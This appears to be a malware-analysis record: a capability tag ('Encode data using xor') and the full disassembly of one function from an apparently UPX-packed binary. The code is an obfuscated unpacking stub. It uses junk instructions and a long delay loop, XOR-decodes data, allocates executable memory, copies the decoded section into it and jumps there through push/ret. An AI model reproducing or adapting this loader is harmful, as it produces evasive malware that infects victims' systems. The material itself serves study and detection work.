Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1f934f6
or edx, esi
mov edx, esi
popal
not edx
sub edx, esi
add edx, 0x568e2587
mov ebx, 0
mov esi, edx
mov ecx, eax
not eax
mov ecx, eax
mov edi, esi
dec eax
sub eax, ecx
mov edx, edi
inc eax
sub eax, 0x37b8e288
or eax, eax
add ebx, 1
and eax, eax
not eax
mov eax, ecx
cmp ebx, 0x1007626
jne 0x47b44e
mov eax, ecx
add ecx, eax
not eax
or esi, edx
not edx
mov edx, 0x47b21e
dec edi
add eax, 0xeace5f82
mov ecx, 0x47b412
mov ebx, 0x88271ba8
sub edi, ebx
mov esi, dword [edx]
mov eax, 0x4c21adc2
add ebx, 0x34e9d5f6
sub eax, 0x7b24df28
and esi, 0xff
mov eax, edi
or ebx, eax
sub edi, 0x2d8f611a
xor dword [ecx], esi
sub edi, 0x2476fd33
add ebx, edi
inc ecx
add ebx, 0xa9f1633
dec edi
sub ebx, 0x9cad6364
inc edx
mov edi, ebx
add edi, ebx
cmp ecx, entry0
jl 0x47b4a0
mov eax, 0x5847d6c5
mov ebx, 0xdf8579aa
mov edi, 0x318fd15f
mov edi, 0x573c5aec
dec esi
mov edi, 0x775dd599
mov ecx, 0x47b416
mov edi, esi
sub edx, 0x4e060d04
mov ecx, dword [ecx]
inc esi
sub esi, ebx
not esi
mov ecx, dword [ecx]
inc edi
not esi
push ecx
mov edx, 0x44712f98
dec edx
mov esi, 0xe0d3af96
mov ecx, 0x47b412
and edi, esi
not ebx
mov ecx, dword [ecx]
add edx, 0x101f84d0
add ebx, edx
mov ecx, dword [ecx]
sub edi, 1
mov ebx, edx
not edx
push 0x47b41a
or esi, ebx
mov ebx, edx
call ecx
dec edi
sub esi, 0x4ff4b1d8
pop ecx
mov edx, 0x44050646
sub edi, edx
add ebx, esi
push 0x47b427
mov esi, 0x25d0502d
sub esi, ebx
sub esi, edx
sub esp, 4
mov dword [esp], eax
and ebx, edi
add esi, 1
mov esi, edi
call ecx
or esi, esi
add edx, 0x9b996b7a
and esi, esi
push 0x40
mov edx, 0xc0afb732
mov ebx, 0x510cef26
dec esi
push 0x3000
not esi
inc edi
sub esi, 1
push 0x20000622
add esi, 0x3f39a8de
or edi, ebx
sub esp, 4
mov dword [esp], 0
or ebx, edx
sub edi, edx
not edi
call eax
and ebx, ebx
dec edx
add eax, 0x20000582
add esi, edi
sub ebx, 0x1dfed0fd
mov ebx, 0xca757d93
mov ecx, 0x6072010d
add esi, 0xc700b6d3
dec esi
mov dword [eax], ecx
dec edi
mov edi, 0xce910d3
mov ecx, dword [eax]
add edi, 0x593b2564
add edx, edi
not esi
cmp ecx, 0x6072010d
je 0x47b612
mov eax, 0
mov byte [eax], bl
mov edx, edi
sub esi, 0x324a59ee
mov edi, 0xc094ae6e
not edx
and esi, ebx
inc esi
add edx, esi
sub edx, 0x6bdf6d65
mov ebx, section.UPX1
mov esi, edx
mov edx, 0x44661d15
mov eax, 0x47b21d
or esi, edx
or edx, edx
mov edi, 0
add esi, edx
mov edx, esi
mov ecx, 0x47b21e
mov edx, 0x1bc8dda1
and esi, edx
inc edx
lea ecx, [ecx + edi]
mov edx, esi
sub esi, 1
dec edx
mov ecx, dword [ecx]
dec esi
not edx
add edx, esi
and ecx, 0xff
sub esi, 0xeb843146
mov edx, 0xc88fd64
sub edx, esi
inc edi
add esi, 0x8953fb21
sub esi, edx
cmp edi, 0x1f4
jne 0x47b693
mov edi, 0
sub esi, 1
add edx, 0xfc14c7bb
sub edx, 0x8f5a2060
or esi, esi
mov edx, esi
xor dword [ebx], ecx
dec esi
inc esi
add ebx, 2
add edx, esi
sub edx, 1
cmp ebx, eax
jl 0x47b64a
sub edx, 0x2eb76008
sub esi, 1
add esi, esi
add edx, 0x43184bf7
inc edx
mov ebx, section.UPX1
mov edi, esi
add edi, 0xe02bd87f
mov ecx, section.UPX1
add edi, 0x8d880b17
inc edi
mov edi, 0x44ab6457
mov eax, 0x47b21d
sub edi, esi
add edi, esi
or edi, esi
mov edx, 0
dec esi
mov esi, 0x2d6f9a41
mov dl, byte [ecx]
add esi, edi
not edi
sub edi, 0xbb5661dc
mov byte [ebx], dl
sub esi, edi
sub esi, 0x8cca0b95
inc ebx
not esi
sub esi, 0xa8be55ba
sub edi, 1
add ecx, 2
add esi, 0xc1e4180e
sub esi, edi
mov esi, 0x72302206
cmp ecx, eax
jle 0x47b70c
not esi
not edi
sub esi, edx
dec esi
add edx, 0x725e7ef7
push 0x45e6a0
sub esi, 1
or esi, esi
ret